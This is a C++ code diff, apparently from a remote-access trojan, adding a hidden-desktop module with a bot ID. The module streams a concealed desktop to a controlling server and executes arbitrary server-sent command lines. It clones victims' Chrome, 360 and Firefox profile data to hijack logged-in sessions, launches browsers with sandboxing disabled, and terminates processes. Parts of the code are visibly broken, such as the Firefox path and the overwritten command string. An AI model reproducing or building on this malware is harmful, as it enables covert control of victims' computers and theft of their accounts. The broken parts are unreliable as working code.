TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
||||
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
|
||||
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
|
||||
isSystem = (_stricmp(exeName, szExplorerFile)==0);
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
return isSystem;
|
||||
}
|
||||
|
||||
void SafeTerminateDesktopProcesses(HDESK hDesk) {
|
||||
// 检查桌面句柄有效性
|
||||
if (!hDesk || hDesk == INVALID_HANDLE_VALUE) return;
|
||||
|
||||
// 获取当前桌面(用于恢复)
|
||||
HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
|
||||
if (!hOriginalDesk) {
|
||||
Mprintf("Failed to get original desktop\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// 切换桌面
|
||||
if (!SetThreadDesktop(hDesk)) {
|
||||
Mprintf("SetThreadDesktop failed\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// 枚举进程
|
||||
auto pids = GetProcessIdsInDesktop(hDesk);
|
||||
SetThreadDesktop(hOriginalDesk); // 立即恢复
|
||||
|
||||
// 终止进程
|
||||
for (DWORD pid : pids) {
|
||||
if (pid == GetCurrentProcessId()) continue; // 跳过自己
|
||||
|
||||
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||||
if (!hProcess) {
|
||||
Mprintf("OpenProcess failed for PID: %d\n", pid);
|
||||
continue;
|
||||
}
|
||||
|
||||
// 检查是否为系统进程
|
||||
if (IsSystemProcess(pid)) {
|
||||
CloseHandle(hProcess);
|
||||
continue;
|
||||
}
|
||||
|
||||
// 终止进程
|
||||
if (!TerminateProcess(hProcess, 0)) {
|
||||
Mprintf("TerminateProcess failed for PID: %d\n", pid);
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
}
|
||||
|
||||
void CopyDir(TCHAR* from, TCHAR* to)
|
||||
{
|
||||
TCHAR fromWildCard[MAX_PATH] = { 0 };
|
||||
lstrcpy(fromWildCard, from);
|
||||
lstrcat(fromWildCard, _T("\\*"));
|
||||
|
||||
if (!CreateDirectory(to, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)
|
||||
return;
|
||||
WIN32_FIND_DATA findData;
|
||||
HANDLE hFindFile = FindFirstFile(fromWildCard, &findData);
|
||||
if (hFindFile == INVALID_HANDLE_VALUE)
|
||||
return;
|
||||
|
||||
do {
|
||||
TCHAR currFileFrom[MAX_PATH] = { 0 };
|
||||
lstrcpy(currFileFrom, from);
|
||||
lstrcat(currFileFrom, _T("\\"));
|
||||
lstrcat(currFileFrom, findData.cFileName);
|
||||
|
||||
TCHAR currFileTo[MAX_PATH] = { 0 };
|
||||
lstrcpy(currFileTo, to);
|
||||
lstrcat(currFileTo, _T("\\"));
|
||||
lstrcat(currFileTo, findData.cFileName);
|
||||
|
||||
if
|
||||
(
|
||||
findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY &&
|
||||
strcmp(findData.cFileName, _T(".")) &&
|
||||
strcmp(findData.cFileName, _T(".."))
|
||||
) {
|
||||
if (CreateDirectory(currFileTo, NULL) || GetLastError() == ERROR_ALREADY_EXISTS)
|
||||
CopyDir(currFileFrom, currFileTo);
|
||||
} else
|
||||
CopyFile(currFileFrom, currFileTo, FALSE);
|
||||
} while (FindNextFile(hFindFile, &findData));
|
||||
}
|
||||
|
||||
void killproc(const TCHAR* name)
|
||||
{
|
||||
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
|
||||
PROCESSENTRY32 pEntry;
|
||||
pEntry.dwSize = sizeof(pEntry);
|
||||
BOOL hRes = Process32First(hSnapShot, &pEntry);
|
||||
while (hRes) {
|
||||
if (strcmp(pEntry.szExeFile, name) == 0) {
|
||||
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
|
||||
(DWORD)pEntry.th32ProcessID);
|
||||
if (hProcess != NULL) {
|
||||
TerminateProcess(hProcess, 9);
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
}
|
||||
hRes = Process32Next(hSnapShot, &pEntry);
|
||||
}
|
||||
CloseHandle(hSnapShot);
|
||||
}
|
||||
|
||||
CScreenHideManager::CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user) :
|
||||
CScreenManagerBase(pClient, nBitDepth, user)
|
||||
{
|
||||
m_DlgToken = TOKEN_BITMAPINFO_HIDE;
|
||||
}
|
||||
|
||||
CScreenHideManager::~CScreenHideManager()
|
||||
{
|
||||
}
|
||||
|
||||
VOID CScreenHideManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
|
||||
{
|
||||
if (lpBuffer[0] == TOKEN_HEARTBEAT)
|
||||
return;
|
||||
|
||||
switch (lpBuffer[0]) {
|
||||
case COMMAND_FLUSH_HIDE:
|
||||
ResetScreen(32);
|
||||
break;
|
||||
case COMMAND_SCREEN_CONTROL:
|
||||
ProcessCommand(lpBuffer + 1, nSize - 1);
|
||||
break;
|
||||
case COMMAND_NEXT:
|
||||
NotifyDialogIsOpen();
|
||||
break;
|
||||
case COMMAND_SCREEN_GET_CLIPBOARD:
|
||||
SendClientClipboard();
|
||||
break;
|
||||
case COMMAND_SCREEN_SET_CLIPBOARD:
|
||||
UpdateClientClipboard((char*)lpBuffer + 1, nSize - 1);
|
||||
break;
|
||||
case COMMAND_SCREEN_SETSCREEN_HIDE:
|
||||
Loop_Screen();
|
||||
break;
|
||||
case COMMAND_COMMAND_SCREENUALITY60_HIDE:
|
||||
m_ScreenSpyObject->SendQuality(60);
|
||||
break;
|
||||
case COMMAND_COMMAND_SCREENUALITY85_HIDE:
|
||||
m_ScreenSpyObject->SendQuality(85);
|
||||
break;
|
||||
case COMMAND_COMMAND_SCREENUALITY100_HIDE:
|
||||
m_ScreenSpyObject->SendQuality(100);
|
||||
break;
|
||||
case COMMAND_HIDE_USER: {
|
||||
return OnUserCommand(lpBuffer, nSize);
|
||||
}
|
||||
break;
|
||||
case COMMAND_HIDE_CLEAR:
|
||||
SafeTerminateDesktopProcesses(g_hDesk);
|
||||
break;
|
||||
default:
|
||||
Mprintf("Unknown command: %d\n", (unsigned)lpBuffer[0]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void CScreenHideManager::OnUserCommand(PBYTE lpBuffer, ULONG nSize) {
|
||||
char* deskName = (char*)m_DesktopID.c_str();
|
||||
switch (lpBuffer[1]) {
|
||||
case IDM_OPEN_Explorer: {
|
||||
const DWORD neverCombine = 2;
|
||||
const TCHAR* valueName = _T("TaskbarGlomLevel");
|
||||
|
||||
HKEY hKey;
|
||||
RegOpenKeyEx(HKEY_CURRENT_USER, _T("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"), 0, KEY_ALL_ACCESS, &hKey);
|
||||
DWORD value;
|
||||
DWORD size = sizeof(DWORD);
|
||||
DWORD type = REG_DWORD;
|
||||
RegQueryValueEx(hKey, valueName, 0, &type, (BYTE*)&value, &size);
|
||||
|
||||
if (value != neverCombine)
|
||||
RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&neverCombine, size);
|
||||
|
||||
TCHAR explorerPath[MAX_PATH] = { 0 };
|
||||
GetWindowsDirectory(explorerPath, MAX_PATH);
|
||||
lstrcat(explorerPath, _T("\\"));
|
||||
lstrcat(explorerPath, _T("explorer.exe"));
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(explorerPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
|
||||
APPBARDATA appbarData;
|
||||
appbarData.cbSize = sizeof(appbarData);
|
||||
for (int i = 0; i < 5; ++i) {
|
||||
Sleep(1000);
|
||||
appbarData.hWnd = FindWindow(_T("shell_TrayWnd"), NULL);
|
||||
if (appbarData.hWnd)
|
||||
break;
|
||||
}
|
||||
|
||||
appbarData.lParam = ABS_ALWAYSONTOP;
|
||||
SHAppBarMessage(ABM_SETSTATE, &appbarData);
|
||||
|
||||
RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&value, size);
|
||||
RegCloseKey(hKey);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_run: {
|
||||
TCHAR rundllPath[MAX_PATH] = { 0 };
|
||||
SHGetFolderPath(NULL, CSIDL_SYSTEM, NULL, 0, rundllPath);
|
||||
lstrcat(rundllPath, _T("\\rundll32.exe shell32.dll,#61"));
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, rundllPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Powershell: {
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcat(path, _T("cmd.exe /c start powershell -noexit -command \"[console]::windowwidth = 100;[console]::windowheight = 30; [console]::bufferwidth = [console]::windowwidth\""));
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Chrome: {
|
||||
TCHAR chromePath[MAX_PATH] = { 0 };
|
||||
SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
|
||||
lstrcat(chromePath, _T("\\Google\\Chrome\\"));
|
||||
|
||||
TCHAR dataPath[MAX_PATH] = { 0 };
|
||||
lstrcat(dataPath, chromePath);
|
||||
lstrcat(dataPath, _T("User Data\\"));
|
||||
|
||||
TCHAR botId[35] = { 0 };
|
||||
TCHAR newDataPath[MAX_PATH] = { 0 };
|
||||
lstrcat(newDataPath, chromePath);
|
||||
lstrcat(newDataPath, deskName);
|
||||
|
||||
CopyDir(dataPath, newDataPath);
|
||||
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcat(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, _T("chrome.exe"));
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --origin-trial-disabled-features=SecurePaymentConfirmation --user-data-dir="));
|
||||
lstrcat(path, _T("\""));
|
||||
lstrcat(path, newDataPath);
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Edge: {
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcat(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, _T("msedge.exe"));
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Brave: {
|
||||
killproc(_T("brave.exe"));
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcat(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, _T("brave.exe"));
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Firefox: {
|
||||
TCHAR firefoxPath[MAX_PATH] = { 0 };
|
||||
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, firefoxPath);
|
||||
lstrcat(firefoxPath, _T("\\Mozilla\\Firefox\\"));
|
||||
|
||||
TCHAR profilesIniPath[MAX_PATH] = { 0 };
|
||||
lstrcat(profilesIniPath, firefoxPath);
|
||||
lstrcat(profilesIniPath, _T("TaskbarGlomLevel"));
|
||||
|
||||
HANDLE hProfilesIni = CreateFile(profilesIniPath, FILE_READ_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hProfilesIni == INVALID_HANDLE_VALUE)
|
||||
return;
|
||||
|
||||
DWORD profilesIniSize = GetFileSize(hProfilesIni, 0);
|
||||
DWORD read;
|
||||
TCHAR* profilesIniContent = new TCHAR[profilesIniSize + 1];
|
||||
ReadFile(hProfilesIni, profilesIniContent, profilesIniSize, &read, NULL);
|
||||
profilesIniContent[profilesIniSize] = 0;
|
||||
|
||||
TCHAR* isRelativeRead = StrStr(profilesIniContent, _T("IsRelative="));
|
||||
if (!isRelativeRead) {
|
||||
CloseHandle(hProfilesIni);
|
||||
SAFE_DELETE(profilesIniContent);
|
||||
return;
|
||||
}
|
||||
|
||||
isRelativeRead += 11;
|
||||
BOOL isRelative = (*isRelativeRead == _T('1'));
|
||||
|
||||
TCHAR* path = StrStr(profilesIniContent, _T("Path="));
|
||||
if (!path) {
|
||||
CloseHandle(hProfilesIni);
|
||||
SAFE_DELETE(profilesIniContent);
|
||||
return;
|
||||
}
|
||||
TCHAR* pathEnd = StrStr(path, _T("\r"));
|
||||
if (!pathEnd) {
|
||||
CloseHandle(hProfilesIni);
|
||||
SAFE_DELETE(profilesIniContent);
|
||||
return;
|
||||
}
|
||||
*pathEnd = 0;
|
||||
path += 5;
|
||||
|
||||
TCHAR realPath[MAX_PATH] = { 0 };
|
||||
if (isRelative)
|
||||
lstrcpy(realPath, firefoxPath);
|
||||
lstrcat(realPath, path);
|
||||
|
||||
TCHAR newPath[MAX_PATH];
|
||||
lstrcpy(newPath, firefoxPath);
|
||||
lstrcpy(newPath, deskName);
|
||||
|
||||
CopyDir(realPath, newPath);
|
||||
|
||||
TCHAR browserPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(browserPath, _T("cmd.exe /c start "));
|
||||
lstrcpy(browserPath, _T("firefox.exe"));
|
||||
lstrcpy(browserPath, _T(" -no-remote -profile "));
|
||||
lstrcpy(browserPath, _T("\""));
|
||||
lstrcpy(browserPath, newPath);
|
||||
lstrcpy(browserPath, _T("\""));
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, browserPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Iexplore: {
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, _T("iexplore.exe"));
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_zdy: {
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, (TCHAR*)((char*)lpBuffer + 2));
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_zdy2: {
|
||||
ZdyCmd m_ZdyCmd = {};
|
||||
memcpy(&m_ZdyCmd, (char*)lpBuffer + 2, sizeof(ZdyCmd));
|
||||
CopyDir(m_ZdyCmd.oldpath, m_ZdyCmd.newpath);
|
||||
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, m_ZdyCmd.cmdline);
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
lstrcat(path, _T("\""));
|
||||
lstrcat(path, m_ZdyCmd.newpath);
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_360JS: {
|
||||
TCHAR chromePath[MAX_PATH] = { 0 };
|
||||
SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
|
||||
lstrcat(chromePath, _T("\\360Chrome\\Chrome\\"));
|
||||
TCHAR dataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(dataPath, chromePath);
|
||||
lstrcat(dataPath, _T("User Data\\"));
|
||||
|
||||
TCHAR newDataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(newDataPath, chromePath);
|
||||
lstrcat(newDataPath, deskName);
|
||||
|
||||
CopyDir(dataPath, newDataPath);
|
||||
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, _T("360chrome.exe"));
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
lstrcat(path, _T("\""));
|
||||
lstrcat(path, newDataPath);
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_360AQ: {
|
||||
TCHAR chromePath[MAX_PATH] = { 0 };
|
||||
|
||||
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
|
||||
lstrcat(chromePath, _T("\\"));
|
||||
|
||||
TCHAR dataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(dataPath, chromePath);
|
||||
lstrcat(dataPath, _T("secoresdk\\"));
|
||||
|
||||
TCHAR newDataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(newDataPath, chromePath);
|
||||
lstrcat(newDataPath, deskName);
|
||||
|
||||
CopyDir(dataPath, newDataPath);
|
||||
lstrcat(newDataPath, _T("\\360se6\\Application\\360se.exe"));
|
||||
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, newDataPath);
|
||||
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_360AQ2: {
|
||||
TCHAR chromePath[MAX_PATH] = { 0 };
|
||||
|
||||
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
|
||||
lstrcat(chromePath, _T("\\"));
|
||||
|
||||
TCHAR dataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(dataPath, chromePath);
|
||||
lstrcat(dataPath, _T("360se6\\"));
|
||||
|
||||
TCHAR newDataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(newDataPath, chromePath);
|
||||
lstrcat(newDataPath, deskName);
|
||||
|
||||
CopyDir(dataPath, newDataPath);
|
||||
lstrcat(newDataPath, _T("\\Application\\360se.exe"));
|
||||
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, newDataPath);
|
||||
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void CScreenHideManager::InitScreenSpy() {
|
||||
HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
|
||||
if (!hDesk) {
|
||||
hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL);
|
||||
Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败");
|
||||
}
|
||||
else {
|
||||
Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str());
|
||||
}
|
||||
if (hDesk) {
|
||||
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
||||
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
|
||||
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
|
||||
if (!IsProcessRunningInDesktop(hDesk, szExplorerFile))
|
||||
{
|
||||
if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
|
||||
Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str());
|
||||
}
|
||||
} else {
|
||||
Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str());
|
||||
}
|
||||
SetThreadDesktop(g_hDesk = hDesk);
|
||||
}
|
||||
BYTE* param = (BYTE*)m_ptrUser;
|
||||
int compress = ALGORITHM_DIFF;
|
||||
if (param) {
|
||||
compress = param[1];
|
||||
delete[] param;
|
||||
m_ptrUser = NULL;
|
||||
}
|
||||
m_ScreenSpyObject = new CScreenHideSpy(32, compress);
|
||||
}
|
||||
|
||||
} // namespace SimplePluginsScreenHide
|
||||
@@ -0,0 +1,21 @@
|
||||
#pragma once
|
||||
#include "Manager.h"
|
||||
|
||||
#include "ScreenHideSpy.h"
|
||||
#include "ScreenManagerBase.h"
|
||||
|
||||
namespace SimplePluginsScreenHide {
|
||||
|
||||
class CScreenHideManager : public CScreenManagerBase
|
||||
{
|
||||
public:
|
||||
CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user=NULL);
|
||||
virtual ~CScreenHideManager();
|
||||
|
||||
void OnUserCommand(PBYTE lpBuffer, ULONG nSize);
|
||||
|
||||
virtual VOID OnReceive(PBYTE lpBuffer, ULONG nSize);
|
||||
virtual void InitScreenSpy();
|
||||
};
|
||||
|
||||
} // namespace SimplePluginsScreenHide
|
||||
@@ -0,0 +1,22 @@
|
||||
#pragma once
|
||||
|
||||
#include "ScreenSpy.h"
|
||||
|
||||
namespace SimplePluginsScreenHide {
|
||||
|
||||
// 隐私屏幕捕获器。
|
||||
//
|
||||
// SimplePlugins 原版 CScreenHideSpy 基于其自带的旧 CScreenSpy/ScreenCapture 捕获链
|
||||
// (jpeg + CaptureFrame/BMP_JPG/ScanChangedRect),已与 YAMA 重写后的编码器捕获层
|
||||
// (ScreenCapture::GetNextScreenData + EncoderFactory)分叉,故此处改写为直接继承
|
||||
// YAMA 的 ::CScreenSpy,仅把 vDesk=TRUE(虚拟桌面)传入基类,捕获/编码全部复用基类。
|
||||
class CScreenHideSpy : public ::CScreenSpy
|
||||
{
|
||||
public:
|
||||
CScreenHideSpy(int biBitCount = 32, int algo = ALGORITHM_DIFF)
|
||||
: ::CScreenSpy((ULONG)biBitCount, (BYTE)algo, TRUE /* vDesk → m_bVirtualPaint */)
|
||||
{
|
||||
}
|
||||
};
|
||||
|
||||
} // namespace SimplePluginsScreenHide
|
||||
@@ -0,0 +1,642 @@
|
||||
#pragma once
|
||||
|
||||
#include "Manager.h"
|
||||
#include "ScreenCapture.h"
|
||||
#include <Shlwapi.h>
|
||||
#include <ShlObj.h>
|
||||
#include <tchar.h>
|
||||
|
||||
class IOCPClient;
|
||||
|
||||
namespace SimplePluginsScreenHide {
|
||||
|
||||
class CScreenManagerBase : public CManager {
|
||||
public: // 构造和析构
|
||||
CScreenManagerBase(IOCPClient* ClientObject, int nBitDepth, void* user = NULL,
|
||||
int token= TOKEN_BITMAPINFO) : CManager(ClientObject)
|
||||
{
|
||||
m_DlgToken = token;
|
||||
g_hDesk = nullptr;
|
||||
m_DesktopID = GetBotId();
|
||||
m_ptrUser = user;
|
||||
m_ScreenSpyObject = nullptr;
|
||||
m_biBitCount = nBitDepth;
|
||||
m_fps = 10;
|
||||
m_bIsWorking = TRUE;
|
||||
m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
|
||||
m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
||||
m_point = {};
|
||||
m_lastPoint = {};
|
||||
m_lmouseDown = FALSE;
|
||||
m_hResMoveWindow = nullptr;
|
||||
m_resMoveType = 0;
|
||||
m_rmouseDown = FALSE;
|
||||
m_rclickPoint = {};
|
||||
m_rclickWnd = nullptr;
|
||||
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::WorkThreadProc, this, 0, NULL);
|
||||
m_hBlankThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::ControlThread, this, 0, NULL);
|
||||
SetReady(TRUE);
|
||||
}
|
||||
virtual ~CScreenManagerBase() {
|
||||
m_bIsWorking = FALSE;
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
WaitForSingleObject(m_hBlankThread, INFINITE);
|
||||
CloseHandle(m_hWorkThread); m_hWorkThread = NULL;
|
||||
CloseHandle(m_hBlankThread); m_hBlankThread = NULL;
|
||||
|
||||
SAFE_DELETE(m_ScreenSpyObject);
|
||||
if (g_hDesk) {
|
||||
auto b = CloseDesktop(g_hDesk);
|
||||
g_hDesk = NULL;
|
||||
Mprintf("关闭虚拟屏幕【%s】: %s\n", b ? "成功" : "失败", m_DesktopID.c_str());
|
||||
}
|
||||
}
|
||||
|
||||
public: // 非纯虚函数
|
||||
virtual BOOL SendFirstScreen() {
|
||||
ULONG len = 0;
|
||||
auto data = m_ScreenSpyObject->GetFirstScreenData(&len);
|
||||
if (nullptr == data) {
|
||||
return FALSE;
|
||||
}
|
||||
return m_ClientObject->Send2Server((char*)data, 1 + len);
|
||||
}
|
||||
|
||||
virtual bool IsMetricsChange() {
|
||||
if ((m_oldwidth != ::GetSystemMetrics(SM_CXVIRTUALSCREEN)) || (m_oldheigh != ::GetSystemMetrics(SM_CYVIRTUALSCREEN))) {
|
||||
if (m_oldwidth == 0 || m_oldheigh == 0) {
|
||||
return false;
|
||||
}
|
||||
m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
|
||||
m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
virtual void Loop_Screen() {
|
||||
// 获取分辨率
|
||||
int _cx = ::GetSystemMetrics(SM_CXSCREEN);
|
||||
int _cy = ::GetSystemMetrics(SM_CYSCREEN);
|
||||
|
||||
// 修改分辨率
|
||||
DEVMODE lpDevMode;
|
||||
lpDevMode.dmBitsPerPel = 32;//每个像素的位数
|
||||
lpDevMode.dmPelsWidth = 1600;//屏幕宽度(像素)
|
||||
lpDevMode.dmPelsHeight = 900;//屏幕高度(像素)
|
||||
lpDevMode.dmSize = sizeof(lpDevMode);
|
||||
lpDevMode.dmFields =DM_PELSWIDTH| DM_PELSHEIGHT| DM_BITSPERPEL;
|
||||
LONG result = ChangeDisplaySettings(&lpDevMode, 0);
|
||||
if (result == DISP_CHANGE_SUCCESSFUL) {
|
||||
ChangeDisplaySettings(&lpDevMode, CDS_UPDATEREGISTRY);
|
||||
}
|
||||
else {
|
||||
ChangeDisplaySettings(NULL, 0);
|
||||
}
|
||||
}
|
||||
|
||||
virtual bool IsConnect() { return m_ClientObject->IsRunning(); }
|
||||
|
||||
virtual int GetCurrentPixelBits() { return m_biBitCount; }
|
||||
|
||||
virtual LPBYTE GetNextScreen(ULONG& ulNextSendLength) {
|
||||
